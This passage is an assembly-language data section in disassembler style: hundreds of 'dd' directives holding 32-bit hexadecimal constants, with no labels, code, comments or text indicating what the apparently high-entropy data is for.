		dd 0B43CEBC4h, 10C2557Dh, 31BFFA9Ah, 0AEADDAD0h, 0BC94E3B6h
		dd 0B91ADDE0h, 0EA85C5E0h, 7A277A7Eh, 3014E1ACh, 5065D3ECh
		dd 6F06657h, 163B409Ah,	0BF9C0A78h, 2110D7EFh, 0F92C0B05h
		dd 93001983h, 21DDB211h, 0A0F2D326h, 0E6D5CC66h, 0D474F45Dh
		dd 0C8F0C9BBh, 38E7CF09h
		dd 0E7DA54Ch, 0E0522F1Ch, 0FB40766Bh, 0C44EF946h, 7F201C8Bh
		dd 57EA45B3h, 332609C7h, 0E1876613h, 4E4C66FCh,	0FCA675AAh
		dd 8A2ED47Ah, 3C5E2F14h, 9B1F32C6h, 0E80B0A99h,	1141CC87h
		dd 20C09263h, 0ED4ADA49h, 476E7AC5h, 1031724Bh,	5988A2F3h
		dd 0EF840D12h, 70B38CD0h, 41A74CFBh, 425D67EFh,	0EBC33538h
		dd 0F7C246C7h, 0CC442698h, 5606362Fh, 0FEF5115Ah, 38A7EE14h
		dd 0EA3458E8h, 6195BDAh, 4228A130h, 0B18A850Ch,	2B4DE955h
		dd 68D135E6h, 0CC96A89Ah, 308CA48Eh, 41A468DBh,	6693DE41h
		dd 55548E93h, 0AADE66E9h, 364332F4h, 3F9935E2h,	0F9809278h
		dd 0B42707E4h, 100023EBh, 0DAF401h, 44C2496Eh, 0BFC90469h
		dd 6A3414EDh, 1D9D6C64h, 3820834Bh, 0A954FD92h,	4895D4CCh
		dd 0C23D686Eh, 0F2DA0897h, 3505C9ECh, 0FF59745Fh, 26F15512h
		dd 0D958A6CDh, 72C720E8h, 3AD173C6h, 8D1ACDD7h,	0FF8801EBh
		dd 943A4D06h, 0CF5DEE3Ch, 61E3E89Fh, 6B8D06Bh, 4B6F2F25h
		dd 0A21227E2h, 4AFC397h, 0C1B7471Dh, 8258F68Fh,	0EBD99ECh
		dd 0E90B90D2h, 513B5025h, 0B79AE3D0h, 0AAC10110h, 22BA2255h
		dd 92F3CA8Ah, 5E9E0E2Fh, 8C3558AAh, 7997C916h, 2B54D2D2h
		dd 8E7F42A9h, 0A90E404Dh, 4B1316Eh, 521D0778h, 0A2CF34D9h
		dd 0A37E4F88h, 0ECB1040Ch, 0DFA82E4Bh, 3F8D6552h, 4F9A4284h
		dd 2825A4ABh, 0D1EE5094h, 704BC9A8h, 98BF33F9h,	0E037426Ah
		dd 0B123725Dh, 2D2F7CBDh, 9D15CDA4h, 1387F158h,	0D8075454h
		dd 0DD8922C7h, 0C0A43D5Dh, 0BF00BEBFh, 0C5F5BE2Dh, 8DD7AD49h
		dd 1F10FA66h, 0E9B63E26h, 0F6B33C26h, 405BC246h, 5177841Ah
		dd 3C6D237Ah, 1C4ADD32h, 0EE04AC3Dh, 2661772Bh,	96037F47h
		dd 89E0A405h, 0D1AB330Bh, 5205FE47h, 9D151406h,	2A178794h
		dd 9F4DB6FEh, 627B3513h, 470938BCh, 9CB350C2h, 0A318EDE6h
		dd 2D27F711h, 519A297Fh, 0AE5C8E90h, 6C94919Eh,	0B0F2D88Bh
		dd 3E0D58D0h, 0A3FE4E7Ah, 9BFB20B4h, 603387B8h,	0D615A96h
		dd 0EA066C68h, 0BA976354h, 0F7A6C4CCh, 111563AEh, 0F5312754h
		dd 10B6E755h, 0C0142C67h, 0C94B5210h, 0A4D1AE71h, 4F7E43DDh
		dd 7DC7667Ch, 338655ACh, 9FF9AC9Ah, 2A3717BBh, 0D0E17BDh
		dd 138EB62h, 0BCAD51A1h, 35DA7F7Fh, 0FF743D2Ch,	7464A415h
		dd 98350F43h, 0AE22BFC9h, 540EF63Bh, 0DA8392E2h, 47C7AB79h
		dd 0BF655B2Dh, 0F7206DEBh, 4A309893h, 5F068383h, 0B4C9929h
		dd 0ABABDF8Bh, 0F5CFAEFDh, 52E7AEDCh, 0D9976CEh, 0D916AFC4h
		dd 18B2DB2Dh, 80D51EA4h, 0EE24B5F8h, 2D53D0F2h,	96201BA1h
		dd 6EBE9361h, 0ECBA667Bh, 0EC35A061h, 0F3F85A0Ah, 0D4A54A01h
		dd 2C8A010Dh, 3CECFF1Fh, 7DBEFE52h, 321EE6B7h, 4FDFFDB2h
		dd 7097A3D9h, 54040EDDh, 2061ADAEh, 57E63550h, 0EBAEC5D1h
		dd 0DA9B6309h, 0D7CD70B9h, 8DC2AD24h, 5859482Bh, 604B5D44h
		dd 0AD060D26h, 0D32BCABh, 35F95D6h, 730C7153h, 0A4310972h
		dd 0B5B21A08h, 0B4B2A1CDh, 0D8852060h, 7752EB8Bh, 0B3E45ADCh
		dd 0C3E06D9Dh, 0C2893E1Ah, 489F1DF3h, 3990EF03h, 1725503Ah
		dd 3064F43Ch, 96F84F8Dh, 0BBCB46D2h, 0D0DF061Fh, 0D6B6BCC1h
		dd 17B8DCFAh, 0E51BF8E3h, 0EB827CD1h, 332444ACh, 0CA7E6ECFh
		dd 5836D35Eh, 10BE5F96h, 0B4169B15h, 7834BD57h,	0DEE8C073h
		dd 0BB45FAC9h, 98874E0Ah, 0FF5DE088h, 44FE43D6h, 9E66EB42h
		dd 0E3A176CEh, 12DB2FAFh, 689D5FCDh, 62704CC3h,	0CD47A50Ah
		dd 38D6274h, 0F1D25B23h, 8740C0E7h, 965EB5D3h, 57707103h
		dd 0DDAF34D7h, 0FF138F08h, 38C530Ch, 0E32CFF70h, 2159E60Fh
		dd 363B3BADh, 0F8142DCBh, 620F3213h, 0CA4393D8h, 4BDB82EBh
		dd 57562D1Ah, 1303B90Ah, 0C0D2FAA0h, 0C0347477h, 4E056CB9h
		dd 16015B53h, 0FEACFD97h, 112CA389h, 0C46FB267h, 0AA18C0A9h
		dd 82000FEFh, 6BAE5429h, 2605BA5Eh, 0E470CE64h,	0E2A39D0Ah
		dd 8DF1E6Eh, 0F5188FE5h, 194D868Bh, 0DE3FE706h,	2BA9AC6Ch
		dd 5C278CEEh, 3B24A6B1h, 0FBE4BD51h, 90AA6988h,	77203BE2h
		dd 0F3C706A8h, 5F30D53Ah, 0EBE9C78Eh, 54987C26h, 4CAE6716h
		dd 145C00E5h, 0D964574h, 65E0E410h, 0C34BDC1Ah,	0CFB1371Eh
		dd 40987071h, 72199094h, 9BEA6EBCh, 61CCBCC6h, 8F5ED683h
		dd 301DE7CFh, 0B795E600h, 0D4425072h, 2AA4AD33h, 842E70CEh
		dd 0B2F86743h, 0A7B68B92h, 95E78956h, 0D86AEAE6h, 0DD0DE37Ah
		dd 0AC8D49B8h, 318F3149h, 0D0F556B1h, 0F5F9C6D5h, 8E4A62D7h
		dd 42E95543h, 7C97CF69h, 44274A4Eh, 8F9DCA20h, 0F595E758h
		dd 6F2765Ah, 0D9999717h, 769C8DEEh, 0A5C0C68h, 0E847E12Dh
		dd 40B2E682h, 6C20433Eh, 0BC7BAE10h, 113FC824h,	4C462EA7h
		dd 8A6B8C5Bh, 0CB3C5DE6h, 0E5C43942h, 4A312953h, 56507F65h
		dd 874D8C77h, 0DE441A08h, 355260DCh, 4334775h, 0EEBDC3ACh
		dd 0B2AFA15Ah, 6D6E0D4Dh, 63F5A531h, 14A3AEBAh,	4DEF26E9h
		dd 0D2B195FAh, 18238750h, 7521C074h, 70D18897h,	0B2347844h
		dd 5A845D32h, 8239A63Eh, 6A1B9CECh, 0DB09972Ah,	27AB261Ah
		dd 87377E61h, 356B358Fh, 6C5CCF58h, 0A8F6D11Fh,	0F44ECAFFh
		dd 9B4A3E6Bh, 0EFE2DD7Dh, 51A2E73Eh, 0EB2A5AF3h, 47DDBDBEh
		dd 0ED66D9AEh, 356AE3Fh, 0B37E916Fh, 0DBDB8137h, 809B20A8h
		dd 0F5D28281h, 4A1FCFF5h, 4A0BEA73h, 0AD7D75C0h, 94AB3761h
		dd 382622B0h, 0D4F47996h, 0AEC1FFF1h, 9D5A4D07h, 0B161525h
		dd 93E4695h, 88B46B4Dh,	0D9E3D7CCh, 556248A9h, 4B83FB8Ch
		dd 43E15347h, 0FE17648Bh, 0AF39F34Bh, 6E6A4CE6h, 873A8E6Bh
		dd 8AC7A4A6h, 0F68073E1h, 0BE17C5FDh, 150FFED0h, 510B6151h
		dd 51DAC1CEh, 0B221BEE6h, 665A2F9Eh, 61F70B5h, 5BE00D1Ch
		dd 0E5B4C094h, 2AFCB4C3h, 4ACE2BD1h, 310C83EDh,	3F23BC65h
		dd 96913DCCh, 0B87A5ABDh, 78F25A84h, 0D1B5484Fh, 0A6053112h
		dd 8A17B63Ah, 0DD146DC7h, 9CC41709h, 5178A89Eh,	0FD7AB82Bh
		dd 0EF47F92Fh, 7B890388h, 0E9B81A92h, 3E986B77h, 0AE3D4A3Eh
		dd 3AD1C126h, 658AF9DCh, 0FAFB85DFh, 6DF0A3A0h,	1E36E227h
		dd 0B0C6D3FCh, 1B1E421h, 0CCD8B6FCh, 0D34CF0ACh, 7FA6A143h
		dd 0F2655841h, 56D09E8Eh, 0FD0EF7A2h, 0DFE99574h, 0F4C5CBFDh
		dd 83EC490Eh, 0D72BEA92h, 0FD84E88Fh, 0A942CF48h, 0CB1B90E4h
		dd 0A468CD83h, 0E318EA29h, 0CA9699A2h, 0D5D9A651h, 0F3A1A031h
		dd 81FB5334h, 942F44E3h, 5B6C73F4h, 945A72E8h, 0EAC8E53Bh
		dd 829D8B78h, 57554A35h, 0DD4D309Ah, 7BF48498h,	0A6DBA84Ah
		dd 7849DDDAh, 49D7264h,	0AF0E2CD8h, 43028DE8h, 0F03210DDh
		dd 2B1B6C89h, 775B2347h, 2E6D3856h, 1B2F5DC3h, 0B6DC74D0h
		dd 63CF5D14h, 9E9BE0F7h, 0D03CAB2Dh, 9204D44Eh,	42D7460Eh
		dd 295E2454h, 72A7A337h, 37DBF5C6h, 0E9C7F6E0h,	0F1BE2B28h
		dd 205CDF73h, 0D316E17h, 6F968EA9h, 6350A76Ah, 0CA576349h
		dd 3EB242DFh, 3DAE7536h, 13E96C54h, 0B94C6F17h,	3D733967h
		dd 0F1E2252Ch, 757E8159h, 0E115F45Dh, 0FE2BAE8h, 0FA720EF4h
		dd 944E79DCh, 0C50175F0h, 281C2CD5h, 457022C6h,	0F72E6885h
		dd 0A700B0FBh, 88FC466Eh, 0BDE966E5h, 0DBA2021Ah, 0AF0CEB4Dh
		dd 0E54A9D52h, 0CA5ED65Dh, 4DA69650h, 7C264D54h, 3A8E132Dh
		dd 8D5D38FBh, 1AE00259h, 9BC38E0Dh, 7043DE45h, 1A17D1E7h
		dd 74413F28h, 7CE45B1Fh, 739FC86h, 471F9679h, 659D8CE6h
		dd 4430D162h, 0FC400F8Bh
		dd 0D3C4B0A0h, 0DB2A5CF3h, 9CE75B93h, 0BD92C385h, 0F056A07h
		dd 3B3635ACh, 0BA59D70Dh, 0ED9FAB20h, 30CE9B1Bh, 77461379h
		dd 0B38395E0h, 67F45AE0h, 34D8BD9Ch, 0D2A279F3h, 46F2E92Bh
		dd 0A9FB1C9Bh, 0EC81C389h, 10C2AEE4h, 950B672Ch, 48364A1Bh
		dd 5568516h, 9B687CEFh,	93AE62F3h, 0FEBFE2AAh, 309904FFh
		dd 76D5D16Ch, 0DDE2F8Bh, 3D06B924h, 1C710B96h, 0B2F03C40h
		dd 7F6F0327h, 962F8EBh,	14566A3h, 68FFCEFAh, 0AB84ACE0h
		dd 773912BEh, 55994895h, 9C4A8039h, 0CBCF045Eh,	2A8249DDh
		dd 8CDD0CDEh, 0F51DE061h, 0B3FAB370h, 22270AEh,	67DA5FD1h
		dd 50C1D9A8h, 71B2D92Ch, 637C6F33h, 0E0B20AF1h,	5A3D8009h
		dd 0BF37B243h, 74A047C0h, 42CC9331h, 0C89958D4h, 8333E236h
		dd 0AFCCD959h, 54A504C0h, 64B73C07h, 0CAF95E16h, 1250D772h
		dd 6DA39644h, 0A6467350h, 0E5855FB9h, 10DF8972h, 4B57961Ch
		dd 339E1186h, 0A322C84Ch, 2BB0A916h, 6384C0B6h,	2E109B76h
		dd 0ED68BE65h, 0F063B706h, 0F0347CF8h, 0AE593F2Ch, 0E30133DCh
		dd 918A4964h, 0D48B5C8Ch, 9ADA07BCh, 36A3DC1Ch,	7A742A5Eh
		dd 0ED2E145Ch, 0EA7C8471h, 41DE2688h, 0A92041BDh, 21F1CC5h
		dd 55E1911Ah, 0A903734Fh, 9175A9ADh, 0C951CBD3h, 0FA784323h
		dd 0B5981032h, 75D70483h, 24F477Bh, 6AC1E74Ch, 8FC13BDBh
		dd 30586E21h, 0C49DCE25h, 0EFEABD4Fh, 56176CCh,	98462AA8h
		dd 0F4389B5Fh, 0C2122BBBh, 2DCA4FCEh, 1A495649h, 0E07987A2h
		dd 0A21FF840h, 9D4B317Ah, 0C5BB2C10h, 1CDA4708h, 0D1B98FE7h
		dd 42933EEh, 9D7C31E1h,	0E431263h, 2C3F8909h, 3C96770Eh
		dd 0FBE720D3h, 3434F2A7h, 0DFBFEAF2h, 0DE1E45F8h, 0E2CE3309h
		dd 23840E5Ch, 0D91C0EB3h, 5F3B2C83h, 0F8B690F5h, 0D38FCDCh
		dd 3A7534F1h, 895B518Ch, 5A4D4050h, 9C9B6926h, 555DF759h
		dd 0A1A0E78Dh, 0A8949709h, 0E8B2FDCh, 7DB72974h, 0F6F71CC2h
		dd 171F5B86h, 42103858h, 0CA80FBD2h, 0FBD141FCh, 4CF28737h
		dd 0F090B39Bh, 25DDC95Eh, 0AE03D90h, 0FEF72FA2h, 9AAC0038h
		dd 0A357C8Dh, 0BD287D23h, 5D5BEEC7h, 497E6012h,	0B0DC77D9h
		dd 9B5470F0h, 1A9C5752h, 0FD2BF665h, 386B6D6Ah,	45D79898h
		dd 0FBABA7Ch, 92C5AB5Dh, 302FB18Bh, 0CB35EE6Ch,	19820174h
		dd 0AE67868Fh, 58882CA6h, 0AD883B0Fh, 1B265A04h, 928A3F5Bh
		dd 945291E8h, 7E7D01Bh,	474A604Fh, 141C77ACh, 726E4270h
		dd 0B5ADADCBh, 0E57203E2h, 5F382C3Ah, 0D4DD93FBh, 0BE34D14Eh
		dd 0AF28C0Dh, 1DCB3D73h, 6FB6C2Dh, 4099BB40h, 0F7C01604h
		dd 5046CE41h, 0C95D7562h, 0A68CCCF7h, 0F9B4197Fh, 39071737h
		dd 9B2B562Eh, 0ECA119BBh, 2DF531EDh, 11E7ADECh,	793DF5Bh
		dd 57BB0643h, 1BD39139h, 91752FCEh, 92D1F381h, 4E446258h
		dd 0EA516A73h, 0D0E2DCB0h, 57815E82h, 0A7823CDBh, 8103A0h
		dd 0B7575926h, 0C9520EFAh, 857AB6F0h, 23BBC05Ah, 0FEC76DC7h
		dd 0ACCC5B03h, 0F4BCD5DBh, 8B8C2DBh, 87B1A823h,	0A94F959Fh
		dd 81DC9878h, 0D6DEE401h, 0A07D309Dh, 21D02BC7h, 9DB79A84h
		dd 0ECA9F1E0h, 1E320F9Eh, 6E44506Fh, 668C8CD9h,	8BF48787h
		dd 9C793D24h, 0B5F7C2h,	0A47230F4h, 3D733196h, 652D792Ah
		dd 943CE2BEh, 88238FD9h, 381740CEh, 8CA43CBDh, 0FD7A10A9h
		dd 542D828Ch, 285C0C5Dh, 43F0FAA0h, 0CE4484A0h,	13E3400Dh
		dd 701D202Ch, 0ED02C8Eh, 53D227E8h, 0DE0C09F9h,	0E953BC8Ah
		dd 0D9B5732Fh, 0F74B19DCh, 0DED1DEC3h, 18E3EE86h, 3A6499C5h
		dd 21E061B8h, 76830728h, 26ED2994h, 99ACA5A0h, 8EE72B5Ch
		dd 2FB70D6h, 2549DBA1h,	9B303D9Bh, 0C6B53653h, 0A6E1C235h
		dd 5A205D99h, 4AB3555Dh, 61819971h, 6DE01C5h, 0D2671C14h
		dd 0CD4AD835h, 4C8BD87Dh, 7C974D70h, 3EB97FC2h,	8B8886C4h
		dd 6EE3E265h, 0B4E2680Bh, 0DF72BEB1h, 366DD572h, 0FCDACD0Dh
		dd 154ADF0Dh, 1E6F9673h, 4CE1201Ch, 4BB652B4h, 696FB553h
		dd 8E093A28h, 0A76DD8E8h, 4E143A6h, 8578C3DEh, 0D16DE775h
		dd 59D7ABC9h, 5DDB0E4Bh, 0CB8AD338h, 9E0439F4h,	0EE29553Bh
		dd 0EFFE1241h, 0EB05FF9Bh, 0C86586DDh, 0A8EB9D19h, 66284488h
		dd 4B116954h, 704863A5h, 18405853h, 0F54F47A9h,	364C0B23h
		dd 5B491D4Bh, 128C3F51h, 9BFE0A0Bh, 24B8C105h, 5D389DABh
		dd 0A68AAAF3h, 409C28F4h, 94EB691h, 965B5F57h, 0A8A3030Dh
		dd 4DAA1B15h, 0F4A01F2Fh, 0F5840DFh, 9A318252h,	0EB16EAFFh
		dd 0C794528Fh, 0D267A796h, 0E74001FDh, 0D4F5A607h, 4C19968Ah
		dd 4EE64F19h, 0AE67C07Ah, 404116C7h, 0A9C8791Fh, 0FA351BFBh
		dd 97342335h, 0C0BD780Bh, 0F6BAAD0Fh, 6A464879h, 2177AE73h
		dd 0AD80FB07h, 0F936A161h, 5AF8F887h, 0E44D16C4h, 9A664565h
		dd 0B60221B8h, 0A8E4C526h, 0EB5AC16Bh, 0DBEF9EAFh, 0DE6E662Fh
		dd 2437F702h, 0AA92B8CCh, 0E1ADDB8Ch, 53F9A60Fh, 5DEED51Fh
		dd 0D3464A3Dh, 3EE7C20Ah, 4924C78Dh, 0BF2D3022h, 248633F0h
		dd 0FBE7D3B4h, 0F4B92C96h, 958EEA2Bh, 3E963B79h, 6BF820E6h
		dd 0F8ACA2AFh, 3AAA6B65h, 582056A3h, 2100BED0h,	9EBA51F3h
		dd 0C2786704h, 404253CEh, 0FB3E46BFh, 871DBF59h, 58EBF0BFh
		dd 0B6B7B07Fh, 0CE612405h, 4DED3E71h, 298DC0B3h, 3359AFC2h
		dd 78C0EF56h, 61D5033Ch, 0C34E04AFh, 4519A82Eh,	0A0BBD41Dh
		dd 0EF37A685h, 2E3EFCDAh, 95B32516h, 79E884D0h,	26EE781Ch
		dd 0C362EA5Ch, 723BAE68h, 1872D220h, 0B0A9D8C8h, 94A1E123h
		dd 0D5D27CC5h, 0B0AAD70Ch, 0EE10F9E0h, 42D58D9Ah, 0EE4144FCh
		dd 9475B3A6h, 1FD9E066h, 30430820h, 0C3294847h,	2F5AA511h
		dd 2043549Bh, 95373B96h, 0AF488101h, 9F2C964Dh,	1D887913h
		dd 5A471EC2h, 8614628Fh, 83E94CF6h, 448BE3CFh, 3D90AE89h
		dd 32136BEFh, 23907525h, 2DCE1CB4h, 8729CE28h, 0DF7ADE64h
		dd 0BFCEC7CDh, 258B66A3h, 0DA875062h, 54B0C643h, 0D4F4BE81h
		dd 0C79EA6C7h, 8C2430B0h, 6F44FC1Ah, 98422314h,	0DDE4C0C7h
		dd 9F45E213h, 11EE03BAh, 0D979D05Bh, 3B5005F0h,	16D0B16Fh
		dd 0CBD0F432h, 4FC105F7h, 2C9D8536h, 0F4C75CD3h, 0B83B0B9Ch
		dd 5617601Dh, 0EDCC3E7Fh, 0AA34F57Ah, 7AFB4C1h,	0E18AB47Ah
		dd 0DA0D7171h, 0E2A7616Dh, 1CA7A48Dh, 0E54539EAh, 806BC2D1h
		dd 0E5B6B2E4h, 0F386C0E0h, 0FB5A0E11h, 0D23043C2h, 0B32A12Ch
		dd 2E6418ACh, 0DF49721Eh, 270B9BE1h, 69798014h,	40E80624h
		dd 600C55C2h, 3CA94752h, 820168E2h, 9107E8ABh, 71566F5Fh
		dd 79661F8Dh, 44612846h, 0F88C9EA3h, 564EA944h,	1DDC869Eh
		dd 0C2EBDEF6h, 56CB2AD3h, 0EC236EFAh, 0A378F9EBh, 0CB422593h
		dd 7F9779E7h, 0E8445DBCh, 0A67C83D6h, 0A2D56017h, 18BD57B4h
		dd 0ED88C52Eh, 748A73E6h, 23CB9F22h, 0B15DB64Ah, 0C025CF4Dh
		dd 0ADD61EA9h, 83DF12CCh, 1A7C7C2Dh, 0FCCE10A2h, 0B7078721h
		dd 6E3365DBh, 0A22FB30Ch, 39DEA640h, 0FB1DCD2Dh, 0F8FB1537h
		dd 0A1F1CE66h, 38B903DFh, 5D5349E7h, 8C86C53Ah,	49EE4634h
		dd 0F81E568h, 0BBBBEE09h, 3A472221h, 7ADAD2F4h,	0C79E2603h
		dd 0B868105Dh, 3D27F0FBh, 330F5F7Ch, 0AAF4D180h, 0FC7FA177h
		dd 0CA88F20Dh, 0B0C22E16h, 8786EEA4h, 17F1998h,	0C1BE13C8h
		dd 0BB7BA17Eh, 0E6BDDA41h, 923558AAh, 54B858D6h, 0D8EC2B73h
		dd 7033951Fh, 9F3E6F36h, 0D67E8CD3h, 0CB80D523h, 64196C28h
		dd 8182DB77h, 4C551D04h
		dd 945EFB6Dh, 8C2F226Ah, 49C8D2A8h, 43D99EA1h, 6D6A1D7Ah
		dd 12F40D6Bh, 96D45040h, 7B86C343h, 61E834C4h, 5C53ABBBh
		dd 8A1D2AF0h, 0CFC17360h, 61488BC3h, 0A7DE8FBFh, 0E4217C80h
		dd 0BC3B85A0h, 5EC5FBC3h, 0B613922Fh, 62DAC6Bh,	24709D82h
		dd 90D57FA8h, 0E8BAADA9h, 0F0AEA00Fh, 2DEB34D2h, 0FA740CF1h
		dd 9C7A82AEh, 166B599h,	7BBD2383h, 2FFEF623h, 0EA51983Eh
		dd 0B5284851h, 0B137F7F9h, 81B56DB0h, 0A75C2D35h, 0D571BBC0h
		dd 4560219Ch, 0AC34A455h, 38AA78E8h, 4466F7AFh,	0B9D322CBh
		dd 160D57AAh, 0E1667119h, 0EF6DB55Eh, 0FB751CEEh, 41A4B49Eh
		dd 83AFE0D3h, 557B2290h, 0BB12255Eh, 0B62A3E6Ch, 8FEC5F36h
		dd 0DEBC9625h, 67C6224Eh, 0A1433320h, 8B187C99h, 0F96E028Dh
		dd 0C99EA495h, 0C8DC0DD7h, 8CEB7BACh, 0BE614696h, 0AAB7C198h
		dd 3E1348C7h, 6842918Ch, 0EAB648AEh, 5A3F56E0h,	0AAB8BE57h
		dd 5B0BB9A9h, 7B13166h,	7FBA0FFEh, 0DE11CAA6h, 84BA7940h
		dd 0ACFC6649h, 0AFF6684Bh, 2488FF0Dh, 7A3405Ch,	884E81B1h
		dd 824573F1h, 25632677h, 75572088h, 508693FAh, 335DE924h
		dd 9AE50090h, 0E83F4049h, 948B42C1h, 697CBCD0h,	478EC9E6h
		dd 724B9C52h, 1A9B73E6h, 0DCE13724h, 899B1146h,	0F462420h
		dd 3000C04Ch, 0BEBE2960h, 0D4CB1786h, 0D002D84Dh, 6ED50FF2h
		dd 0CBBEF947h, 0A97A9623h, 19DFEE10h, 9DE8795Ch, 90A78522h
		dd 0C7299183h, 435F14B0h, 6130702h, 978354C2h, 65789EF2h
		dd 8C334EFCh, 5E234631h, 0F2053FECh, 3473FDE3h,	12BEF6C5h
		dd 34CDFBE4h, 5D770D2Ah, 0F8C1017Ch, 891C19C1h,	798CE726h
		dd 44FCA776h, 0DC35E659h, 0F10E1373h, 598E251Dh, 4279D576h
		dd 0F6EA2B67h, 0EC884121h, 38F80DD1h, 50BADE2Bh, 1E1E27E1h
		dd 0EE3606E1h, 6C60B6CCh, 0F56794E5h, 68E96348h, 0CB78B283h
		dd 4B92E400h, 0FBDD756h, 5B1E766Ah, 93F18EEFh, 0CBC5CDBCh
		dd 6775B5F4h, 3B1042A7h, 2229D6D1h, 1C2D0907h, 98DD00A7h
		dd 77CAE76Eh, 613CC649h, 8508A601h, 0E8D7A759h,	0DC295797h
		dd 0D1FBDD32h, 42A0BBB1h, 0D8A56CD3h, 47F703CFh, 0D70627F6h
		dd 0A8B16341h, 47AB8ECCh, 3BB7D4F1h, 14D780AAh,	17902E6Ch
		dd 9A8E16D3h, 0FFE54642h, 0E9CEBF13h, 4B8C6C4Eh, 0B70C1D4Bh
		dd 62849363h, 4DA48B7Eh, 0E31EF680h, 0E9D4D685h, 799E239Bh
		dd 436C9916h, 1B33540Ah, 764873B0h, 0B1687095h,	60332DF0h
		dd 0D1FDB2B4h, 5EA4F117h, 0E5BCC7E0h, 2E545ED7h, 1049F29Ah
		dd 0F7336F76h, 0DB12AABCh, 30BE931Bh, 0ED4AAA5Eh, 8D63509Dh
		dd 6C68E52Ch, 46A52A9Ch, 0DB3FF842h, 79BDFD8Ah,	1DA7B14Dh
		dd 617A6C61h, 9D64A5FAh, 117C1F1Dh, 6C8C6930h, 0DF4BB9F5h
		dd 3735FDC6h, 2E33CAAh,	0C405D1E6h, 80DEC67Fh, 0FBEC3EF8h
		dd 6F06E19Bh, 8D8D54A5h, 0BB41B003h, 0AE6D4461h, 4C3D8CD0h
		dd 0EE0B1107h, 72A2420Dh, 938CC03Dh, 0A751A15Eh, 0A7260A3Ah
		dd 8D7EAE09h, 312E23D0h, 0A4AE4D26h, 0AF1A05B9h, 0FA93DB7Eh
		dd 0FFF32031h, 26FD4D0Dh, 510F47ACh, 2CED62C0h,	0E950405Bh
		dd 0B4EAF0C0h, 0A2393916h, 7F5995C3h, 0C07F3C1Fh, 8A330CDh
		dd 7850D2D9h, 9DFF92D7h, 4081279Ch, 171D5772h, 82AE2227h
		dd 52566C24h, 4C8F4700h, 182B944Fh, 2F64DE5Dh, 508FE7A3h
		dd 0D67A3E22h, 46D84464h, 99F3CD27h, 0D6C5B33Eh, 9EDC3861h
		dd 5A86615Ah, 0C73FE5D6h, 574B4965h, 90A54123h,	5D03A21Dh
		dd 0B5C7CFCEh, 6936ABD7h, 2B68ED16h, 0AA3C8AB3h, 0D12A1BDBh
		dd 0D732280Bh, 81C0AE26h, 0C65E4A1Fh, 5A69646Bh, 0CBFAC0B1h
		dd 4F4231A9h, 0CCDBD41Eh, 0DBFE516Bh, 211BBA4Fh, 9B890D1Bh
		dd 0A5BDB424h, 7D43A3FDh, 966501B9h, 0D8B6A5Ah,	0E104AED4h
		dd 332C9613h, 0FEBC6B7Ah, 0A638CAC1h, 0A2B6FA49h, 23C84DECh
		dd 14343B0Fh, 0E0E4A8Ch, 73321FAFh, 79ED5D7Bh, 8018E5EEh
		dd 0F6076296h, 6EBE4C56h, 5AFC535Fh, 83B09696h,	0ED7C8595h
		dd 0C85CEBC7h, 501CEE30h, 4518DEBBh, 27BABB4Ch,	0EEA09F08h
		dd 0E23A627Bh, 633506C1h, 0D711BB32h, 7D7FF798h, 12F604A7h
		dd 0C1AC22F0h, 427B05D7h, 9A85FBEFh, 0D3344DF3h, 0DA1F08A5h
		dd 0BA2DEEB1h, 7E06D63Ch, 0AC6E18DAh, 25490F0Bh, 6C3B9688h
		dd 0C2C11E15h, 69036FAEh, 0FBAD9DEh, 0F5E3F892h, 0BD5E7B0Dh
		dd 0A6A83888h, 5AFB165Ch, 64A7D4Dh, 5D52C929h, 0C06C15BDh
		dd 0A8BECD87h, 0AEBAFEEDh, 0CE76D1C7h, 8603A422h, 0CBD3656h
		dd 5DE5753Dh, 506F14CCh, 8F317745h, 1827B699h, 2E808432h
		dd 0D57E21B9h, 0C564CAB4h, 0DF6117CAh, 0D4E2FA3Ah, 1F4E5B02h
		dd 0BB38B6BCh, 0C14C02FCh, 7BF38633h, 95A484DDh, 3900F0ACh
		dd 0DF71C100h, 1E38B4B7h, 0BB5D95h, 0D300F816h,	3C99C87Eh
		dd 64783F9Ah, 0D9DDF881h, 0A0B99F1Bh, 58586A83h, 4DF1E645h
		dd 0D5E11845h, 0C0E2A139h, 0B0869D88h, 0E1691F0Ch, 6956E411h
		dd 1504ED82h, 8814D4E7h, 0D9D69409h, 0FB8AC635h, 0E2F59A4Eh
		dd 0F72759D3h, 42BEEC7Dh, 8C2271E0h, 6A57F99h, 0EF5CD64Bh
		dd 0CE96AF7Ch, 1D725731h, 0B782698h, 96108C4Eh,	7E7C38B4h
		dd 9BFCBF85h, 0A6767D1Fh, 58B1E1E9h, 0BCCAAF85h, 0AA92165Dh
		dd 0C01EAEC2h, 817C3B8Ah, 2058060Eh, 0E0E683C6h, 2A3BA6A8h
		dd 627892D5h, 385AF23Eh, 450F883Ch, 85284A31h, 0A15AD1A5h
		dd 8A9CA434h, 0DB9C8A3Dh, 0B3FBBA9h, 1C82BFDEh,	0C2D01E10h
		dd 2717656Fh, 0D90452EDh, 660D1D17h, 2325198Dh,	581166B6h
		dd 0DDFD1CD4h, 53E0A14Fh, 0BEEA010Ah, 42CD609Ch, 58C73F96h
		dd 0FEBB9A6Dh, 7C452847h, 0FB617753h, 815304A1h, 0B1B97835h
		dd 273BCCFFh, 0F492B88Eh, 228A5B31h, 0D834AF85h, 0D58E4A8Eh
		dd 29A60A7Ah, 4FE4CB1h,	0B2CF2BF5h, 8039DC1Bh, 0E81C435Ch
		dd 0E85076BFh, 0BE5F870Eh, 5FF65156h, 0F3259880h, 8AD9F0E7h
		dd 6435CB7Dh, 25623959h, 0FD2F49CCh, 9B9D879Dh,	0C63DFF52h
		dd 3F690C17h, 1E51529Dh, 0FF1F58C8h, 0B29EA9D5h, 7BFA77B8h
		dd 0BA31488Bh, 80F0B917h, 3854FCABh, 0FB7B645Dh, 14A2285Ah
		dd 3C521E2Bh, 9D50BB1Fh, 9C0FDE2Ch, 9BD6EC4Fh, 5F74F00Ah
		dd 77464303h, 63784CF7h, 6020B28Dh, 4801D20Eh, 0C8282C6Ah
		dd 0E03E0E53h, 0E8F99Ah, 0AFECDFB1h, 13D23B38h,	0DD610F45h
		dd 29539859h, 0FC28C386h, 0D19D22CBh, 0BA91216Ch, 0F9FD68D7h
		dd 7D15E8ACh, 6CFA39B4h, 0C626CD6Eh, 0E47481C8h, 1355AFFEh
		dd 0E2F8304Dh, 0FB09A81Ch, 0D1218E66h, 91D6C866h, 0E1B873B3h
		dd 2EF58AF4h, 0C7C69D89h, 0B8F3A412h, 1FB5E75Dh, 67313701h
